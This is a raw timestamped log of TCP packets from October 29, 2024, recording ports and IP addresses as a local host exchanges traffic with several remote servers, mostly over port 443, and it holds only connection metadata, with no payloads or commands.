Oct 29, 2024 13:09:07.548871040 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.548893929 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.549036026 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.549048901 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.555591106 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.555607080 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.555660963 CET	60648	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.555675030 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.555769920 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.555814981 CET	60648	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.555907011 CET	60648	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.555922031 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.555933952 CET	60648	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.555939913 CET	443	60648	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.558156967 CET	60655	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.558167934 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.558279037 CET	60655	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.558422089 CET	60655	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.558430910 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.868004084 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.874598026 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.874619961 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.875118971 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:07.875125885 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:07.995233059 CET	443	60651	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:07.995351076 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:07.995961905 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:07.995968103 CET	443	60651	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:07.996269941 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:07.996274948 CET	443	60651	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:08.104844093 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.104916096 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.104959965 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.104996920 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.105021000 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.105051041 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.105078936 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.114883900 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.114974022 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.114984989 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.115041018 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.115096092 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.115155935 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.115173101 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.115186930 CET	60650	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.115194082 CET	443	60650	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.119523048 CET	60656	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.119613886 CET	443	60656	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.119729996 CET	60656	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.120001078 CET	60656	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.120039940 CET	443	60656	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.162441015 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.162954092 CET	60652	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.162976980 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.163592100 CET	60652	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.163597107 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.179496050 CET	443	60651	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:08.179577112 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:08.179610968 CET	443	60651	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:08.179649115 CET	443	60651	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:08.179658890 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:08.179696083 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:08.179739952 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:08.179739952 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:08.179766893 CET	443	60651	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:08.179874897 CET	60651	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:08.273154974 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.273593903 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.273611069 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.274199009 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.274204016 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.282764912 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.283071995 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.283108950 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.283540010 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.283548117 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.292934895 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.292953968 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.293004036 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.293039083 CET	60652	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.293086052 CET	60652	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.293262959 CET	60652	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.293277025 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.293289900 CET	60652	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.293294907 CET	443	60652	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.295983076 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.296489000 CET	60657	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.296538115 CET	443	60657	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.296860933 CET	60655	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.296886921 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.296896935 CET	60657	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.297394037 CET	60655	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.297400951 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.297548056 CET	60657	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.297565937 CET	443	60657	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.403095007 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.403121948 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.403202057 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.403218985 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.403266907 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.403301954 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.403359890 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.403515100 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.403532982 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.403543949 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.403543949 CET	60654	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.403549910 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.403558016 CET	443	60654	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.406872988 CET	60658	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.406893015 CET	443	60658	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.406975985 CET	60658	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.407145977 CET	60658	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.407159090 CET	443	60658	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.431835890 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.431850910 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.431942940 CET	60655	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.431969881 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.432090044 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.432141066 CET	60655	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.432169914 CET	60655	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.432183027 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.432202101 CET	60655	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.432207108 CET	443	60655	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.434418917 CET	60659	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.434452057 CET	443	60659	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.434511900 CET	60659	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.434664965 CET	60659	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.434689999 CET	443	60659	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.524172068 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.524194956 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.524214029 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.524297953 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.524327993 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.524386883 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.532588959 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.532628059 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.532672882 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.532679081 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.532705069 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.532730103 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.532862902 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.532876015 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.532890081 CET	60653	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.532895088 CET	443	60653	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.535877943 CET	60660	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.535902977 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.535991907 CET	60660	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.537735939 CET	60660	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.537749052 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.727267027 CET	60661	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:08.732764959 CET	80	60661	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:08.732909918 CET	60661	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:08.733092070 CET	60661	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:08.738442898 CET	80	60661	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:08.870405912 CET	443	60656	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.870914936 CET	60656	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.870982885 CET	443	60656	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:08.871407032 CET	60656	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:08.871418953 CET	443	60656	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.000710964 CET	443	60656	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.000866890 CET	443	60656	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.000946045 CET	60656	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.001121044 CET	60656	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.001142025 CET	443	60656	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.001152992 CET	60656	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.001158953 CET	443	60656	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.004511118 CET	60662	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.004551888 CET	443	60662	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.004636049 CET	60662	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.004976034 CET	60662	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.004990101 CET	443	60662	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.018419027 CET	443	60657	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.018918037 CET	60657	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.018949032 CET	443	60657	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.019534111 CET	60657	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.019541025 CET	443	60657	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.147358894 CET	443	60657	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.147407055 CET	443	60657	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.147463083 CET	60657	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.147708893 CET	60657	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.147731066 CET	443	60657	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.147743940 CET	60657	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.147751093 CET	443	60657	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.148420095 CET	443	60658	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.148955107 CET	60658	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.148967981 CET	443	60658	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.149564981 CET	60658	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.149570942 CET	443	60658	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.150815964 CET	60663	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.150856972 CET	443	60663	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.150944948 CET	60663	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.151077986 CET	60663	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.151093960 CET	443	60663	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.177644014 CET	443	60659	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.178040028 CET	60659	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.178051949 CET	443	60659	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.178591967 CET	60659	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.178597927 CET	443	60659	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.277820110 CET	443	60658	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.277915955 CET	443	60658	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.277971029 CET	60658	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.278177023 CET	60658	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.278197050 CET	443	60658	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.278207064 CET	60658	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.278212070 CET	443	60658	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.279687881 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.280141115 CET	60660	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.280178070 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.280745983 CET	60660	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.280767918 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.281193972 CET	60664	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.281245947 CET	443	60664	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.281315088 CET	60664	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.281495094 CET	60664	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.281512976 CET	443	60664	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.310046911 CET	443	60659	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.310158014 CET	443	60659	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.310247898 CET	60659	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.310477018 CET	60659	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.310492039 CET	443	60659	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.310506105 CET	60659	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.310512066 CET	443	60659	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.313159943 CET	60665	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.313205004 CET	443	60665	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.313309908 CET	60665	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.313438892 CET	60665	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.313455105 CET	443	60665	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.412647963 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.412668943 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.412718058 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.412734032 CET	60660	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.412769079 CET	60660	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.418205976 CET	60660	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.418226957 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.418240070 CET	60660	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.418243885 CET	443	60660	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.656979084 CET	80	60661	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:09.656996012 CET	80	60661	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:09.657104015 CET	60661	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:09.657521009 CET	60661	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:09.657552958 CET	60661	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:09.773727894 CET	443	60662	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.784368992 CET	60662	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.784399033 CET	443	60662	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.784882069 CET	60662	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.784894943 CET	443	60662	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.920278072 CET	443	60662	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.920473099 CET	443	60662	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.920584917 CET	60662	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.920811892 CET	60662	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.920815945 CET	443	60663	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.920841932 CET	443	60662	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.920855045 CET	60662	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.920861959 CET	443	60662	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.921303988 CET	60663	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.921324968 CET	443	60663	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:09.921863079 CET	60663	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:09.921871901 CET	443	60663	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.002466917 CET	443	60664	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.007138968 CET	60664	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.007179976 CET	443	60664	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.007636070 CET	60664	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.007646084 CET	443	60664	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.059921980 CET	443	60663	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.060347080 CET	443	60663	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.060945034 CET	60663	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.060985088 CET	60663	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.061002970 CET	443	60663	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.061016083 CET	60663	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.061022043 CET	443	60663	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.064912081 CET	443	60665	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.065418005 CET	60665	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.065447092 CET	443	60665	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.065888882 CET	60665	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.065901041 CET	443	60665	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.139092922 CET	443	60664	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.139219999 CET	443	60664	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.139276981 CET	60664	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.140187979 CET	60664	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.140213966 CET	443	60664	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.140228987 CET	60664	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.140235901 CET	443	60664	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.195924997 CET	443	60665	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.196161032 CET	443	60665	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.196281910 CET	60665	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.196537971 CET	60665	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.196537971 CET	60665	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:09:10.196561098 CET	443	60665	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.196573973 CET	443	60665	13.107.246.45	192.168.2.5
Oct 29, 2024 13:09:10.211153030 CET	60666	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:10.216649055 CET	80	60666	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:10.217011929 CET	60666	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:10.217266083 CET	60666	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:10.222557068 CET	80	60666	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:11.142895937 CET	80	60666	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:11.142918110 CET	80	60666	108.177.15.82	192.168.2.5
Oct 29, 2024 13:09:11.142971039 CET	60666	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:11.143001080 CET	60666	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:11.143377066 CET	60666	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:11.143405914 CET	60666	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:09:11.672210932 CET	60667	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:11.677568913 CET	80	60667	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:11.677763939 CET	60667	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:11.678127050 CET	60667	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:11.683553934 CET	80	60667	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:12.597467899 CET	80	60667	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:12.597528934 CET	80	60667	142.251.168.82	192.168.2.5
Oct 29, 2024 13:09:12.597538948 CET	60667	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:12.597574949 CET	60667	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:12.597903013 CET	60667	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:12.597930908 CET	60667	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:09:13.708194971 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:13.713607073 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:13.887725115 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:13.887808084 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:13.906599045 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:13.906661034 CET	443	60668	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:13.906801939 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:13.907977104 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:13.908001900 CET	443	60668	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:14.622976065 CET	443	60668	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:14.623049974 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:14.623621941 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:14.623636007 CET	443	60668	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:14.623909950 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:14.623917103 CET	443	60668	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:14.813110113 CET	443	60668	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:14.813174009 CET	443	60668	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:14.813254118 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:14.813359022 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:14.813379049 CET	443	60668	51.81.194.202	192.168.2.5
Oct 29, 2024 13:09:14.813399076 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:14.813472986 CET	60668	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:09:15.309178114 CET	60669	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:15.314672947 CET	80	60669	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:15.314784050 CET	60669	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:15.315121889 CET	60669	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:09:15.320462942 CET	80	60669	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:16.236457109 CET	80	60669	64.233.166.82	192.168.2.5
Oct 29, 2024 13:09:16.236475945 CET	80	60669	64.233.166.82	192.168.2.5
